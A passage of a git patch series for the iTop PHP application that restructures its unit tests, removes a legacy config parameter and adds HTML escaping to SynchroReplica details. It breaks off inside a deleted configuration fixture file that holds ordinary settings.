index 4857b9914..f970ae38f 100644 --- a/tests/php-unit-tests/unitary-tests/setup/MFCompilerTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/MFCompilerTest.php @@ -41,7 +41,7 @@ class MFCompilerTest extends ItopTestCase { } clearstatcache(); $sPrefix = 'scsstest_'; - $sAppRootForProvider = dirname(dirname(dirname(__FILE__))) . DIRECTORY_SEPARATOR; + $sAppRootForProvider = dirname(dirname(dirname(dirname(dirname(__FILE__))))) . DIRECTORY_SEPARATOR; $sTempTargetDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'UseLatestPrecompiledFileProvider'; $sExtensionTargetDir = $sAppRootForProvider . 'extensions/UseLatestPrecompiledFileProvider'; $sSourceDir = $sAppRootForProvider . 'datamodels' . DIRECTORY_SEPARATOR . '2.x'; diff --git a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php index e23b986cc..c53240572 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php @@ -12,6 +12,8 @@ namespace Combodo\iTop\Test\UnitTest\Status; * Date: 25/01/2019 */ +use Combodo\iTop\Application\Status\Status; +use Combodo\iTop\Test\UnitTest\ItopTestCase; use Config; use PHPUnit\Framework\TestCase; use function Combodo\iTop\Application\Status\StatusCheckConfigFile; @@ -27,7 +29,7 @@ if (!defined('DEBUG_UNIT_TEST')) { * @preserveGlobalState disabled * @backupGlobals disabled */ -class StatusIncTest extends TestCase { +class StatusIncTest extends ItopTestCase { /** * @var string @@ -36,29 +38,26 @@ class StatusIncTest extends TestCase { protected function setUp(): void { - //AppRoot is the directory containing the directory - //Assume getcwd() is runned inside APPROOT/test - $this->sAppRoot = __DIR__.'/../../../../../../sources/application/status'; + parent::setUp(); + $this->RequireOnceItopFile('sources/application/status/Status.php'); } /** * @expectedException \Exception */ public function testStatusGetAppRootWrongPath() { - include_once($this->sAppRoot . '/Status.php'); - $sAppRootFilenamewrong = 'approot.inc.php_wrong'; - StatusGetAppRoot($sAppRootFilenamewrong); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusGetAppRoot", $oStatus, [$sAppRootFilenamewrong]); } /** * */ public function testStatusGetAppRootGood() { - include_once($this->sAppRoot . '/Status.php'); - - StatusGetAppRoot(); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusGetAppRoot", $oStatus, []); $this->assertNotEmpty(APPROOT); } @@ -67,20 +66,18 @@ class StatusIncTest extends TestCase { * @expectedException \Exception */ public function testStatusCheckConfigFileWrongPath() { - include_once($this->sAppRoot . '/Status.php'); - $sConfigFilenamewrong = 'config-itop.php_wrong'; - StatusCheckConfigFile($sConfigFilenamewrong); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, [$sConfigFilenamewrong]); } /** * */ public function testStatusCheckConfigFileGood() { - include_once($this->sAppRoot . '/Status.php'); - - StatusCheckConfigFile(); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, []); $this->assertTrue(true); } @@ -89,26 +86,24 @@ class StatusIncTest extends TestCase { * @expectedException \MySQLException */ public function testStatusStartupWrongDbPwd() { - include_once($this->sAppRoot . '/Status.php'); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, []); - StatusCheckConfigFile(); - require_once(APPROOT . '/core/cmdbobject.class.inc.php'); - require_once(APPROOT . '/application/utils.inc.php'); - require_once(APPROOT . '/core/contexttag.class.inc.php'); + $this->RequireOnceItopFile('core/cmdbobject.class.inc.php'); + $this->RequireOnceItopFile('application/utils.inc.php'); + $this->RequireOnceItopFile('core/contexttag.class.inc.php'); $oConfigWrong = new Config(ITOP_DEFAULT_CONFIG_FILE); $oConfigWrong->Set('db_pwd', $oConfigWrong->Get('db_pwd') . '_unittest'); - - StatusStartup($oConfigWrong); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusStartup", $oStatus, [$oConfigWrong]); } /** * */ public function testStatusStartupGood() { - include_once($this->sAppRoot . '/Status.php'); - - StatusStartup(); + $oStatus = new Status(); + $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusStartup", $oStatus, []); $this->assertTrue(true); } From b593beb8c748dee2327ac3ffcbb8bc8ff05d0a0a Mon Sep 17 00:00:00 2001 From: Thomas Casteleyn Date: Tue, 10 Jan 2023 18:53:00 +0100 Subject: [PATCH 106/230] =?UTF-8?q?N=C2=B05867=20Display=20binary=20data?= =?UTF-8?q?=20size=20in=20SynchroReplica=20details=20(#286)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- synchro/synchrodatasource.class.inc.php | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/synchro/synchrodatasource.class.inc.php b/synchro/synchrodatasource.class.inc.php index eb9d32b2c..d02dfd777 100644 --- a/synchro/synchrodatasource.class.inc.php +++ b/synchro/synchrodatasource.class.inc.php @@ -2818,12 +2818,16 @@ class SynchroReplica extends DBObject implements iDisplay $aData = $this->LoadExtendedDataFromTable($sSQLTable); $aHeaders = array( - 'attcode' => array('label' => 'Attribute Code', 'description' => ''), - 'data' => array('label' => 'Value', 'description' => ''), + 'attcode' => array('label' => Dict::S('UI:Form:Property'), 'description' => ''), + 'data' => array('label' => Dict::S('UI:Form:Value'), 'description' => ''), ); $aRows = array(); foreach ($aData as $sKey => $value) { - $aRows[] = array('attcode' => $sKey, 'data' => $value); + if (strpos(CMDBSource::GetFieldType($sSQLTable, $sKey), 'blob') !== false) { + $aRows[] = array('attcode' => $sKey, 'data' => sprintf('%s (%s)', Dict::S('Core:AttributeBlob'), utils::BytesToFriendlyFormat(strlen($value)))); + } else { + $aRows[] = array('attcode' => $sKey, 'data' => utils::EscapeHtml($value)); + } } $oPage->Table($aHeaders, $aRows); $oPage->add(''); From bcf880f3279695958f8b8dfa7a58ad228b90e9a6 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 10 Jan 2023 19:23:37 +0100 Subject: [PATCH 107/230] =?UTF-8?q?N=C2=B05608=20-=20Fix=20unit=20tests=20?= =?UTF-8?q?following=20restructuring=20Part=20II?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit "use_legacy_search" conf param was removed some time ago --- tests/php-unit-tests/unitary-tests/core/OQLTest.php | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/php-unit-tests/unitary-tests/core/OQLTest.php b/tests/php-unit-tests/unitary-tests/core/OQLTest.php index c6f71058b..378a4e728 100644 --- a/tests/php-unit-tests/unitary-tests/core/OQLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/OQLTest.php @@ -38,7 +38,6 @@ class OQLTest extends ItopDataTestCase */ public function testOQLSetup() { - utils::GetConfig()->Set('use_legacy_dbsearch', false, 'test'); utils::GetConfig()->Set('apc_cache.enabled', false, 'test'); utils::GetConfig()->Set('query_cache_enabled', false, 'test'); utils::GetConfig()->Set('expression_cache_enabled', false, 'test'); From 7f37de777e8bc05d426a5dca355cd94c03038986 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 10 Jan 2023 21:04:29 +0100 Subject: [PATCH 108/230] =?UTF-8?q?N=C2=B05608=20-=20Fix=20unit=20tests=20?= =?UTF-8?q?following=20restructuring=20Part=20III?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Missed a usage of "use_legacy_search" conf param on the last commit * Fix log tests which didn't moved correctly from Git PoV 😕 --- .../core/Log/LogFileNameBuilderTest.php | 2 +- .../unitary-tests/core/LogAPITest.php | 143 ---------------- .../core/LogFileNameBuilderTest.php | 160 ------------------ .../unitary-tests/core/OQLTest.php | 1 - 4 files changed, 1 insertion(+), 305 deletions(-) delete mode 100644 tests/php-unit-tests/unitary-tests/core/LogAPITest.php delete mode 100644 tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php diff --git a/tests/php-unit-tests/unitary-tests/core/Log/LogFileNameBuilderTest.php b/tests/php-unit-tests/unitary-tests/core/Log/LogFileNameBuilderTest.php index e7bdfa923..938bc88c3 100644 --- a/tests/php-unit-tests/unitary-tests/core/Log/LogFileNameBuilderTest.php +++ b/tests/php-unit-tests/unitary-tests/core/Log/LogFileNameBuilderTest.php @@ -32,7 +32,7 @@ class LogFileNameBuilderTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'core/log.class.inc.php'; + $this->RequireOnceItopFile('core/log.class.inc.php'); } protected function tearDown(): void diff --git a/tests/php-unit-tests/unitary-tests/core/LogAPITest.php b/tests/php-unit-tests/unitary-tests/core/LogAPITest.php deleted file mode 100644 index 7f253ddf9..000000000 --- a/tests/php-unit-tests/unitary-tests/core/LogAPITest.php +++ /dev/null @@ -1,143 +0,0 @@ -mockFileLog = $this->createMock('FileLog'); - $this->oMetaModelConfig = $this->createMock('Config'); - } - - - /** - * @dataProvider LogApiProvider - * @test - * @backupGlobals disabled - */ - public function TestLogApi($oConfigObject, $sMessage, $Channel, $sExpectedLevel, $sExpectedMessage, $sExpectedChannel = '') - { - \IssueLog::MockStaticObjects($this->mockFileLog, $oConfigObject); - - $this->mockFileLog->expects($this->exactly(1)) - ->method($sExpectedLevel) - ->with($sExpectedMessage, $sExpectedChannel); - - \IssueLog::Error($sMessage, $Channel); - } - - public function LogApiProvider() - { - return [ - [ $this->oMetaModelConfig, "log msg", '' , "Error", "log msg"], - [ $this->oMetaModelConfig, "log msg", 'PoudlardChannel' , "Error", "log msg", 'PoudlardChannel'], - [ array(), "log msg", '' , "Error", "log msg"], // Bruno? - ]; - } - - /** - * @dataProvider LogWarningWithASpecificChannelProvider - * @test - * @backupGlobals disabled - */ - public function TestLogWarningWithASpecificChannel($expectedCallNb, $sExpectedLevel, $ConfigReturnedObject, $bExceptionRaised=false) - { - $this->oMetaModelConfig - ->method("Get") - ->with('log_level_min') - ->willReturn($ConfigReturnedObject); - - \IssueLog::MockStaticObjects($this->mockFileLog, $this->oMetaModelConfig); - - $this->mockFileLog->expects($this->exactly($expectedCallNb)) - ->method($sExpectedLevel) - ->with("log msg", "GaBuZoMeuChannel"); - - try{ - \IssueLog::Warning("log msg", "GaBuZoMeuChannel"); - if ($bExceptionRaised) - { - $this->fail("raised should have been raised"); - } - } - catch(\Exception $e) - { - if (!$bExceptionRaised) - { - $this->fail("raised should NOT have been raised"); - } - } - } - - public function LogWarningWithASpecificChannelProvider() - { - return [ - "empty config" => [ 0, "Ok", ''], - "Default Unknown Level" => [ 0, "Ok", 'TotoLevel', true], - "Info as Default Level" => [ 1 , "Warning", 'Info'], - "Error as Default Level" => [ 0, "Warning", 'Error'], - "Empty array" => [ 0, "Ok", array()], - "Channel configured on an undefined level" => [ 0, "Ok", ["GaBuZoMeuChannel" => "TotoLevel"], true], - "Channel defined with Error" => [ 0, "Warning", ["GaBuZoMeuChannel" => "Error"]], - "Channel defined with Info" => [ 1, "Warning", ["GaBuZoMeuChannel" => "Info"]], - ]; - } - - /** - * @dataProvider LogOkWithASpecificChannel - * @test - * @backupGlobals disabled - */ - public function TestLogOkWithASpecificChannel($expectedCallNb, $sExpectedLevel, $ConfigReturnedObject, $bExceptionRaised=false) - { - $this->oMetaModelConfig - ->method("Get") - ->with('log_level_min') - ->willReturn($ConfigReturnedObject); - - \IssueLog::MockStaticObjects($this->mockFileLog, $this->oMetaModelConfig); - - $this->mockFileLog->expects($this->exactly($expectedCallNb)) - ->method($sExpectedLevel) - ->with("log msg", "GaBuZoMeuChannel"); - - try{ - \IssueLog::Ok("log msg", "GaBuZoMeuChannel"); - if ($bExceptionRaised) - { - $this->fail("raised should have been raised"); - } - } - catch(\Exception $e) - { - if (!$bExceptionRaised) - { - $this->fail("raised should NOT have been raised"); - } - } - } - - public function LogOkWithASpecificChannel() - { - return [ - "empty config" => [ 1, "Ok", ''], - "Empty array" => [ 1, "Ok", array()], - ]; - } - -} diff --git a/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php b/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php deleted file mode 100644 index 882b04296..000000000 --- a/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php +++ /dev/null @@ -1,160 +0,0 @@ -getTimestamp()); - clearstatcache(true, $sLogFile); - } - - protected function setUp(): void - { - parent::setUp(); - - $this->RequireOnceItopFile('core/log.class.inc.php'); - } - - protected function tearDown(): void - { - parent::tearDown(); - - // remove log files created in the test - $aTestLogFiles = glob(__DIR__.DIRECTORY_SEPARATOR.self::TEST_LOGFILE_PREFIX.'*.'.self::TEST_LOGFILE_EXTENSION); - foreach ($aTestLogFiles as $sLogFile) { - unlink($sLogFile); - } - } - - public function testCheckAndRotateLogFile() - { - $sLogFile = __DIR__.DIRECTORY_SEPARATOR.self::TEST_LOGFILE_PREFIX.'.'.self::TEST_LOGFILE_EXTENSION; - $oFileBuilder = new DailyRotatingLogFileNameBuilder($sLogFile); - - if (file_exists($sLogFile)) - { - unlink($sLogFile); - } - - $bIsFileExists = $oFileBuilder->IsLogFileExists(); - $this->assertFalse($bIsFileExists, 'Test log file does not exist'); - - $hLogFile = fopen($sLogFile, 'a'); - $sDate = date('Y-m-d H:i:s'); - $sTestClassName = self::class; - fwrite($hLogFile, "$sDate | This is a line generated by $sTestClassName\n"); - fclose($hLogFile); - $iLogDateLastModifiedTimeStamp = filemtime($sLogFile); - $oLogFileLastModified = DateTime::createFromFormat('U', $iLogDateLastModifiedTimeStamp); - - $sRotatedLogFile = $oFileBuilder->GetRotatedFileName($oLogFileLastModified); - $oFileBuilder->CheckAndRotateLogFile(); - $this->assertFileExists($sLogFile, 'Test log file modification date is today, original file still exists after rotation call'); - $this->assertFileNotExists($sRotatedLogFile, 'No rotation occurred yet'); - - $oTimeYesterday = new DateTime('yesterday'); - $sRotatedLogFile = $oFileBuilder->GetRotatedFileName($oTimeYesterday); - $this->ChangeFileModificationDate($sLogFile, $oTimeYesterday); - - // changing modification date, but do not reset cached filebuilder date => no change - $oFileBuilder->CheckAndRotateLogFile(); - $this->assertFileExists($sLogFile, 'Test log file modification date is yesterday but filebuilder use its cache, original file still exists after rotation call'); - $this->assertFileNotExists($sRotatedLogFile, 'No rotation occurred yet'); - - // changing modification date AND resetting filebuilder date cache - $oFileBuilder->ResetLastModifiedDateForFile(); - $oFileBuilder->CheckAndRotateLogFile(); - $this->assertFileNotExists($sLogFile, 'Test log file modification date is yesterday, file rotated !'); - $this->assertFileExists($sRotatedLogFile, 'Rotation was done'); - - // file cleanup will be done in tearDown ! - } - - public function ShouldRotateProvider() - { - return array( - 'DAILY Same day' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-01 15:42', false), - 'DAILY Same week, different day less 24h diff' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 12:00', '2020-02-02 09:00', true), - 'DAILY Same week, different day' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-02 00:00', true), - 'DAILY 1 week diff' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-08 00:00', true), - 'WEEKLY Same week' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-01 00:00', false), - 'WEEKLY 1 week diff, same month' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-08 00:00', true), - 'WEEKLY 2 weeks diff, same month' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-15 00:00', true), - 'WEEKLY 1 week diff, different month' => array('WeeklyRotatingLogFileNameBuilder', '2020-01-27 00:00', '2020-02-03 00:00', true), - 'WEEKLY same week, different month' => array('WeeklyRotatingLogFileNameBuilder', '2020-01-27 00:00', '2020-02-02 00:00', false), - 'WEEKLY 1 week diff, different year' => array('WeeklyRotatingLogFileNameBuilder', '2019-12-30 00:00', '2020-01-06 00:00', true), - 'WEEKLY same week, different year' => array('WeeklyRotatingLogFileNameBuilder', '2019-12-30 00:00', '2020-01-05 00:00', true), - 'MONTHLY same month' => array('MonthlyRotatingLogFileNameBuilder', '2020-02-10 00:00', '2020-02-14 00:00', false), - 'MONTHLY on first day which is a sunday' => array('MonthlyRotatingLogFileNameBuilder', '2020-01-30 00:00', '2020-02-01 00:00', true), - ); - } - - /** - * @param string $sFileNameBuilderClass RotatingLogFileNameBuilder impl - * @param string $sDateModified format Y-m-d H:i - * @param string $sDateNow format Y-m-d H:i - * @param bool $bExpected - * - * @dataProvider ShouldRotateProvider - */ - public function testShouldRotate($sFileNameBuilderClass, $sDateModified, $sDateNow, $bExpected) - { - $oDateModified = DateTime::createFromFormat('Y-m-d H:i', $sDateModified); - $oDateNow = DateTime::createFromFormat('Y-m-d H:i', $sDateNow); - - /** @var \RotatingLogFileNameBuilder $oFileBuilder */ - $oFileBuilder = new $sFileNameBuilderClass(); - $bShouldRotate = $oFileBuilder->ShouldRotate($oDateModified, $oDateNow); - - $this->assertEquals($bExpected, $bShouldRotate); - } - - public function CronNextOccurrenceProvider() - { - return array( - 'DAILY morning' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 05:00', '2020-02-02 00:00'), - 'DAILY midnight' => array('DailyRotatingLogFileNameBuilder', '2020-02-01 00:00', '2020-02-02 00:00'), - 'WEEKLY monday 12:42' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-03 12:42', '2020-02-10 00:00'), - 'WEEKLY monday 00:00' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-03 00:00', '2020-02-10 00:00'), - 'WEEKLY tuesday 12:42' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-04 12:42', '2020-02-10 00:00'), - 'WEEKLY sunday 12:42' => array('WeeklyRotatingLogFileNameBuilder', '2020-02-02 12:42', '2020-02-03 00:00'), - 'MONTHLY 12/02 12:42' => array('MonthlyRotatingLogFileNameBuilder', '2020-02-12 12:42', '2020-03-01 00:00'), - ); - } - - /** - * @param string $sFileNameBuilderClass RotatingLogFileNameBuilder impl - * @param string $sDateNow format Y-m-d H:i - * @param string $sExpectedOccurrence format Y-m-d H:i - * - * @dataProvider CronNextOccurrenceProvider - */ - public function testCronNextOccurrence($sFileNameBuilderClass, $sDateNow, $sExpectedOccurrence) - { - $oDateNow = DateTime::createFromFormat('Y-m-d H:i', $sDateNow); - - /** @var \RotatingLogFileNameBuilder $oFileBuilder */ - $oFileBuilder = new $sFileNameBuilderClass(); - $oActualOccurrence = $oFileBuilder->GetCronProcessNextOccurrence($oDateNow); - $sActualOccurrence = $oActualOccurrence->format('Y-m-d H:i'); - - $this->assertEquals($sExpectedOccurrence, $sActualOccurrence); - } -} \ No newline at end of file diff --git a/tests/php-unit-tests/unitary-tests/core/OQLTest.php b/tests/php-unit-tests/unitary-tests/core/OQLTest.php index 378a4e728..d6d7674ae 100644 --- a/tests/php-unit-tests/unitary-tests/core/OQLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/OQLTest.php @@ -317,7 +317,6 @@ class OQLTest extends ItopDataTestCase public function testOQLIntersect($sOQL1, $sOQL2, $sOQLIntersect) { // Check that legacy mode is not set - $this->assertFalse(utils::GetConfig()->Get('use_legacy_dbsearch')); $this->assertFalse(utils::GetConfig()->Get('apc_cache.enabled')); $this->assertFalse(utils::GetConfig()->Get('query_cache_enabled')); $this->assertFalse(utils::GetConfig()->Get('expression_cache_enabled')); From 5916e4ea396155676ccb3d94d2f02ce9f9ddbfeb Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 10 Jan 2023 22:03:40 +0100 Subject: [PATCH 109/230] =?UTF-8?q?N=C2=B05608=20-=20Ensure=20both=20old?= =?UTF-8?q?=20&=20new=20tests=20structure=20are=20ran=20for=20extensions?= =?UTF-8?q?=20for=20backward=20compatibility?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/phpunit.xml.dist | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/php-unit-tests/phpunit.xml.dist b/tests/php-unit-tests/phpunit.xml.dist index 8273b60c3..f16e89560 100644 --- a/tests/php-unit-tests/phpunit.xml.dist +++ b/tests/php-unit-tests/phpunit.xml.dist @@ -57,6 +57,7 @@ ../../env-production/*/test + ../../env-production/*/tests/php-unit-tests From 845adf43c678450c8a2f787cc6047da85bbd1919 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 10 Jan 2023 22:04:20 +0100 Subject: [PATCH 110/230] =?UTF-8?q?N=C2=B05608=20-=20Harmonize=20namespace?= =?UTF-8?q?s=20and=20merge=20duplicated=20test=20files?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../application/DashboardLayoutTest.php | 2 + .../application/privUITransactionFileTest.php | 5 + .../unitary-tests/application/utilsTest.php | 3 + .../config-itop_KO_config_plus_code.php | 392 ----------------- .../config-itop_KO_function.php | 7 - .../ConfigValidator/config-itop_VALID.php | 390 ----------------- .../config-itop_VALID_log-level-min_const.php | 394 ------------------ .../iTopConfigAstValidatorTest.php | 69 --- .../2.x/authent-local/UserLocalTest.php | 2 +- .../ConfigPlaceholdersResolverTest.php | 2 +- .../2.x/itop-config}/ConfigTest.php | 2 +- .../ConfigTest/config-itop-joker.php | 0 .../ConfigTest/config-itop-var.php | 0 .../Validator/iTopConfigAstValidatorTest.php | 3 +- .../iTopConfigSyntaxValidatorTest.php | 2 +- .../2.x/itop-tickets/itopTicketTest.php | 2 +- .../unitary-tests/setup/DBBackupTest.php | 2 +- .../unitary-tests/setup/ModelFactoryTest.php | 2 +- 18 files changed, 18 insertions(+), 1261 deletions(-) delete mode 100644 tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php delete mode 100644 tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php delete mode 100644 tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID.php delete mode 100644 tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php delete mode 100644 tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php rename tests/php-unit-tests/unitary-tests/{core => datamodels/2.x/itop-config}/ConfigPlaceholdersResolverTest.php (99%) rename tests/php-unit-tests/unitary-tests/{core => datamodels/2.x/itop-config}/ConfigTest.php (98%) rename tests/php-unit-tests/unitary-tests/{core => datamodels/2.x/itop-config}/ConfigTest/config-itop-joker.php (100%) rename tests/php-unit-tests/unitary-tests/{core => datamodels/2.x/itop-config}/ConfigTest/config-itop-var.php (100%) diff --git a/tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php b/tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php index b6a552cd5..461c1a7fa 100644 --- a/tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php +++ b/tests/php-unit-tests/unitary-tests/application/DashboardLayoutTest.php @@ -17,6 +17,8 @@ * You should have received a copy of the GNU Affero General Public License */ +namespace Combodo\iTop\Test\UnitTest\Application; + use Combodo\iTop\Test\UnitTest\ItopTestCase; /** diff --git a/tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php b/tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php index adfb86cbf..0a45834d1 100644 --- a/tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php +++ b/tests/php-unit-tests/unitary-tests/application/privUITransactionFileTest.php @@ -17,7 +17,12 @@ * You should have received a copy of the GNU Affero General Public License */ +namespace Combodo\iTop\Test\UnitTest\Application; + use Combodo\iTop\Test\UnitTest\ItopDataTestCase; +use MetaModel; +use privUITransactionFile; +use UserRights; /** * @runTestsInSeparateProcesses diff --git a/tests/php-unit-tests/unitary-tests/application/utilsTest.php b/tests/php-unit-tests/unitary-tests/application/utilsTest.php index 354146b7c..84205537b 100644 --- a/tests/php-unit-tests/unitary-tests/application/utilsTest.php +++ b/tests/php-unit-tests/unitary-tests/application/utilsTest.php @@ -19,7 +19,10 @@ * */ +namespace Combodo\iTop\Test\UnitTest\Application; + use Combodo\iTop\Test\UnitTest\ItopTestCase; +use utils; /** * @covers utils diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php deleted file mode 100644 index 1db98d9f7..000000000 --- a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_config_plus_code.php +++ /dev/null @@ -1,392 +0,0 @@ - 'iTop is temporarily frozen, please wait... (the admin team)', - - // access_mode: Access mode: ACCESS_READONLY = 0, ACCESS_ADMIN_WRITE = 2, ACCESS_FULL = 3 - // default: 3 - 'access_mode' => 3, - - // activity_panel.entry_form_opened_by_default: Whether or not the new entry form will be automatically opened when viewing an object. - // default: false - 'activity_panel.entry_form_opened_by_default' => false, - - // activity_panel.show_author_name_below_entries: Whether or not to show the author friendlyname next to the date on the last entry. - // default: false - 'activity_panel.show_author_name_below_entries' => false, - - 'allowed_login_types' => 'form|external|basic', - - // apc_cache.enabled: If set, the APC cache is allowed (the PHP extension must also be active) - // default: true - 'apc_cache.enabled' => true, - - // apc_cache.query_ttl: Time to live set in APC for the prepared queries (seconds - 0 means no timeout) - // default: 3600 - 'apc_cache.query_ttl' => 3600, - - // app_root_url: Root URL used for navigating within the application, or from an email to the application (you can put $SERVER_NAME$ as a placeholder for the server's name) - // default: '' - 'app_root_url' => 'http://localhost/itop-dev/', - - // behind_reverse_proxy: If true, then proxies custom header (X-Forwarded-*) are taken into account. Use only if the webserver is not publicly accessible (reachable only by the reverse proxy) - // default: false - 'behind_reverse_proxy' => false, - - // cron_max_execution_time: Duration (seconds) of the page cron.php, must be shorter than php setting max_execution_time and shorter than the web server response timeout - // default: 600 - 'cron_max_execution_time' => 600, - - // csv_file_default_charset: Character set used by default for downloading and uploading data as a CSV file. Warning: it is case sensitive (uppercase is preferable). - // default: 'ISO-8859-1' - 'csv_file_default_charset' => 'ISO-8859-1', - - 'csv_import_charsets' => array(), - - // csv_import_history_display: Display the history tab in the import wizard - // default: false - 'csv_import_history_display' => false, - - // date_and_time_format: Format for date and time display (per language) - // default: array ( - // 'default' => - // array ( - // 'date' => 'Y-m-d', - // 'time' => 'H:i:s', - // 'date_time' => '$date $time', - // ), - // ) - 'date_and_time_format' => array( - 'default' => - array( - 'date' => 'Y-m-d', - 'time' => 'H:i:s', - 'date_time' => '$date $time', - ), - ), - - 'db_host' => 'localhost', - - 'db_name' => 'itop_dev', - - 'db_pwd' => '', - - 'db_subname' => '', - - 'db_user' => 'root', - - // deadline_format: The format used for displaying "deadline" attributes: any string with the following placeholders: $date$, $difference$ - // default: '$difference$' - 'deadline_format' => '$difference$', - - 'default_language' => 'EN US', - - // email_asynchronous: If set, the emails are sent off line, which requires cron.php to be activated. Exception: some features like the email test utility will force the serialized mode - // default: false - 'email_asynchronous' => false, - - // email_default_sender_address: Default address provided in the email from header field. - // default: '' - 'email_default_sender_address' => '', - - // email_default_sender_label: Default label provided in the email from header field. - // default: '' - 'email_default_sender_label' => '', - - // email_transport: Mean to send emails: PHPMail (uses the function mail()) or SMTP (implements the client protocol) - // default: 'PHPMail' - 'email_transport' => 'PHPMail', - - // email_validation_pattern: Regular expression to validate/detect the format of an eMail address - // default: '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}' - 'email_validation_pattern' => '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}', - - 'encryption_key' => '061c5b88c47ed64664618cf37b91a442b5550704aacecc5f58f96fc98087333b', - - 'encryption_library' => 'OpenSSL', - - 'ext_auth_variable' => '$_SERVER[\'REMOTE_USER\']', - - 'fast_reload_interval' => 60, - - // graphviz_path: Path to the Graphviz "dot" executable for graphing objects lifecycle - // default: '/usr/bin/dot' - 'graphviz_path' => 'C:\\Program Files (x86)\\Graphviz2.38\\bin\\dot.exe', - - // high_cardinality_classes: List of classes with high cardinality (Force manual submit of search) - // default: array ( - // ) - 'high_cardinality_classes' => array(), - - // inline_image_max_display_width: The maximum width (in pixels) when displaying images inside an HTML formatted attribute. Images will be displayed using this this maximum width. - // default: '250' - 'inline_image_max_display_width' => '250', - - // inline_image_max_storage_width: The maximum width (in pixels) when uploading images to be used inside an HTML formatted attribute. Images larger than the given size will be downsampled before storing them in the database. - // default: '1600' - 'inline_image_max_storage_width' => '1600', - - // link_set_attribute_qualifier: Link set from string: attribute qualifier (encloses both the attcode and the value) - // default: '\'' - 'link_set_attribute_qualifier' => '\'', - - // link_set_attribute_separator: Link set from string: attribute separator - // default: ';' - 'link_set_attribute_separator' => ';', - - // link_set_item_separator: Link set from string: line separator - // default: '|' - 'link_set_item_separator' => '|', - - // link_set_value_separator: Link set from string: value separator (between the attcode and the value itself - // default: ':' - 'link_set_value_separator' => ':', - - 'log_global' => true, - - 'log_issue' => true, - - 'log_kpi_duration' => 0, - - 'log_notification' => true, - - 'log_web_service' => true, - - 'max_display_limit' => 30, - - // max_linkset_output: Maximum number of items shown when getting a list of related items in an email, using the form $this->some_list$. 0 means no limit. - // default: 100 - 'max_linkset_output' => 100, - - // mentions.allowed_classes: Classes which can be mentioned through the autocomplete in the caselogs. Key of the array must be a single character that will trigger the autocomplete, value can be either a DM class or a valid OQL 